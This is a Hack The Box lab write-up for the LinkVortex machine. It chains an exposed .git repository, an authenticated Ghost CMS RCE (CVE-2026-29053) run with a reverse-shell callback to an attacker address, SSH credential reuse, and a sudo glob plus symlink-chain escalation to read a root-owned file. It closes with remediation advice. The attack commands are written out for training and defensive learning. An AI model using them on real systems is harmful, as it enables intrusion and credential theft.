LinkVortex — Exposed Git History to Ghost CMS RCE and a Symlink-Protection Bypass
- Tools
- rustscan, nmap, gobuster, feroxbuster, git, git-dumper, sshpass, netcat
- Skill demonstrated
- Web enumeration and Linux privilege escalation
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Easy |
| Target environment | Ubuntu 22.04 Linux host running Apache and Ghost CMS 5.58.0 |
| Starting position | Unauthenticated network access |
| Objective | Escalate from an exposed Git repository on a development virtual host to root-owned file read |
| Outcome | Ghost CMS authenticated RCE as the application user; root-owned file read via a sudo glob and symlink chain |
Summary
Section titled “Summary”LinkVortex is an Easy-rated Hack The Box Linux lab. Virtual-host enumeration exposes a development subdomain whose web root publishes a .git directory; the repository’s staged changes reveal a Ghost CMS password that authenticates to the admin panel. That access enables an authenticated remote code execution flaw in Ghost (CVE-2026-29053), yielding a shell as the application user, whose database password is reused for SSH. Privilege escalation abuses a sudo rule that passes a user-controlled *.png glob to a cleanup script, and a two-hop symlink chain reads a root-owned file despite fs.protected_symlinks=1. Target and operator addresses, credentials, and file paths are replaced with role-based placeholders; command syntax is preserved.
Attack path: Exposed .git → Git-diff credential disclosure → Ghost CMS admin authentication → CVE-2026-29053 authenticated RCE → database-credential reuse → SSH access → sudo glob + two-hop symlink chain → root-owned file read
Context and Objective
Section titled “Context and Objective”- Target: a single Ubuntu 22.04 Linux host running Apache with name-based virtual hosting and a Ghost CMS 5.58.0 instance.
- Exposed services: SSH (22) and HTTP (80).
- Starting position: unauthenticated network access; the initial HTTP response points to the base virtual host.
- Objective: recover credentials from an exposed repository, obtain access through Ghost, move to the system account, and read a root-owned file through a privileged cleanup script.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: an initial port scan exposes two services.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/target-tcp22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpdSignificance: SSH needs credentials that are not yet available, so HTTP becomes the primary enumeration surface; the web service redirects, indicating name-based virtual hosting.
Result: SSH and HTTP are reachable on the target.
2. Virtual Host Enumeration
Section titled “2. Virtual Host Enumeration”Observation: the web server redirects to <TARGET_HOSTNAME>, so additional hostnames may be served by the same listener.
gobuster vhost \ --url http://<TARGET_HOSTNAME> \ --wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ --append-domain<DEVELOPMENT_HOSTNAME> Status: 200Significance: a development virtual host is served alongside the main site, widening the surface to an environment that typically holds unreleased code and deployment artifacts.
Result: <DEVELOPMENT_HOSTNAME> is identified as a valid virtual host.
3. Exposed Git Repository
Section titled “3. Exposed Git Repository”Observation: content discovery against the development host is likely to surface deployed source-control metadata.
feroxbuster --url http://<DEVELOPMENT_HOSTNAME> --wordlist /usr/share/seclists/Discovery/Web-Content/common.txthttp://<DEVELOPMENT_HOSTNAME>/.gitAction: retrieve and inspect the repository.
git-dumper http://<DEVELOPMENT_HOSTNAME>/.git git-dumpcd git-dumpgit statusChanges to be committed: new file: Dockerfile.ghost modified: ghost/core/test/regression/api/admin/authentication.test.jsRestore the staged changes and diff them:
git restore --staged .git diffit('complete setup', async function () { const email = 'test@example.com'; const password = '<OLD_TEST_PASSWORD>'; const password = '<GHOST_ADMIN_PASSWORD>';Significance: the staged index retained a password change that the deployed files no longer showed, so the published .git directory disclosed the current credential without exploitation.
Result: git-dumper recovered the repository, and the diff disclosed the CMS password.
4. Ghost CMS Authenticated RCE (CVE-2026-29053)
Section titled “4. Ghost CMS Authenticated RCE (CVE-2026-29053)”Observation: the main site runs Ghost CMS 5.58.0, and the recovered password authenticates to the admin panel. Ghost 0.7.2 through 6.19.0 is affected by CVE-2026-29053, an authenticated remote code execution flaw in theme handling fixed in 6.19.1.
Action: run the proof-of-concept against the admin instance and catch the callback.
python3 exploit.py -i <ATTACKER_IP> -p <LISTENER_PORT>nc -lvnp <LISTENER_PORT>The proof-of-concept uploads a crafted theme through the admin panel and triggers execution through a crafted page request.
Significance: authenticated administrator access is sufficient to reach server-side code execution, with no further system misconfiguration required.
Result: a reverse shell executes as the Ghost application user.
5. Reverse Shell and Credential Harvesting
Section titled “5. Reverse Shell and Credential Harvesting”Observation: the shell runs as the Ghost application user, whose configuration file stores database credentials.
{ "user": "<SERVICE_USER>", "pass": "<DB_PASSWORD>"}The same password also authenticated over SSH as <SERVICE_USER>; the source confirms the application and system passwords are one value.
sshpass -p '<DB_PASSWORD>' ssh <SERVICE_USER>@<TARGET_IP>Significance: reusing one secret across the application configuration and the operating-system account turns a CMS compromise into a system login.
Result: a user-level SSH session is obtained with the recovered credentials.
6. Privilege Escalation — Sudo Glob and Symlink Bypass
Section titled “6. Privilege Escalation — Sudo Glob and Symlink Bypass”Observation: the account holds a sudo rule that runs a cleanup script with a caller-supplied glob.
sudo -lUser <SERVICE_USER> may run the following commands on <TARGET_HOSTNAME>: (ALL) NOPASSWD: /usr/bin/bash <CLEANUP_SCRIPT> *.pngThe *.png glob expands in the shell before the script runs, so the caller controls which paths the privileged script receives. The host also enforces kernel symlink protection:
sysctl fs.protected_symlinksfs.protected_symlinks = 1Significance: the host enables fs.protected_symlinks=1, yet the read still succeeds. The sudo rule runs a privileged cleanup script and accepts a user-controlled *.png glob, so the caller controls the path the script is pointed at. A two-hop chain — an intermediate symlink to the protected file, then a .png-named symlink to that intermediate link — is passed to the script, which returns the protected file’s contents.
ln -s <PROTECTED_FILE_PATH> <USER_CACHE>/bln -s <USER_CACHE>/b <USER_CACHE>/a.pngls -l <USER_CACHE>/a.pnglrwxrwxrwx 1 <USER> <GROUP> <LENGTH> <USER_CACHE>/a.png -> <USER_CACHE>/bRun the privileged script through the primed path:
CHECK_CONTENT=true sudo bash <CLEANUP_SCRIPT> <USER_CACHE>/a.pngResult: the script returns the contents of the root-owned file through its own resolution of the symlink chain.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| The password change sat in the staged Git index rather than a configuration file | Unstaged and diffed the repository | Staged changes retained a credential the deployed files no longer showed |
fs.protected_symlinks=1 is enabled on the host |
Created a two-hop symlink chain | The rule passes a caller-controlled *.png path to a privileged cleanup script, which returns the protected file’s contents despite the symlink-protection setting |
Outcome
Section titled “Outcome”Authenticated Ghost CMS code execution yielded a shell as the application user; the reused configuration password provided a system-level SSH session, and a sudo rule accepting a user-controlled glob plus a two-hop symlink chain granted a read of a root-owned file. The admin login, reverse shell, and SSH session are recorded in the source as documented results without captured console output.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are preventative recommendations; none was validated in the lab.
- Exposed
.giton a deployed web root. The development virtual host served.git, exposing repository history and staged changes that held a live password change. Impact: an unauthenticated party recovered the CMS administrator credential. Recommendation: deploy web roots without any version-control metadata and keep development hosts off public DNS. Detection: alert on requests for/.git/and rotate secrets that ever passed through a published repository. - Credential reuse across application and system accounts. The Ghost database password also authenticated the corresponding operating-system account. Impact: CMS code execution became a direct system login. Recommendation: issue unique credentials per service and account and never reuse an application secret as a system password. Detection: alert on interactive SSH logins that use application service accounts.
- Authenticated RCE in an unpatched CMS. Ghost CMS 5.58.0 falls inside the affected range for CVE-2026-29053. Impact: an authenticated administrator could execute code on the host. Recommendation: track Ghost releases and apply the 6.19.1 fix or later, restrict who holds admin access, and monitor theme uploads.
- Privileged scripts with user-controlled globs. The sudo rule passed a caller-supplied
*.pngglob into a root-run script that resolved a two-hop symlink chain to a root-owned file. Impact: a root-owned file was read. Recommendation: never pass user-controlled globs or paths into privileged scripts, bind fixed paths, and validate all inputs; keepfs.protected_symlinks=1as defense in depth while treating it as incomplete protection.
References
Section titled “References”- Hack The Box — LinkVortex (retired machine)
- NVD — CVE-2026-29053 (Ghost theme-handling remote code execution)
- GitHub Advisory — GHSA-cgc2-rcrh-qr5x (Ghost vendor advisory, fixed in 6.19.1)
- RustScan (fast port scanner)
- Nmap Reference Guide
- Gobuster (virtual-host and content discovery)
- feroxbuster (recursive content discovery)
- git-dumper (exposed-repository recovery)
- sshpass (non-interactive SSH password authentication)
- Linux kernel —
fssysctl documentation (fs.protected_symlinks)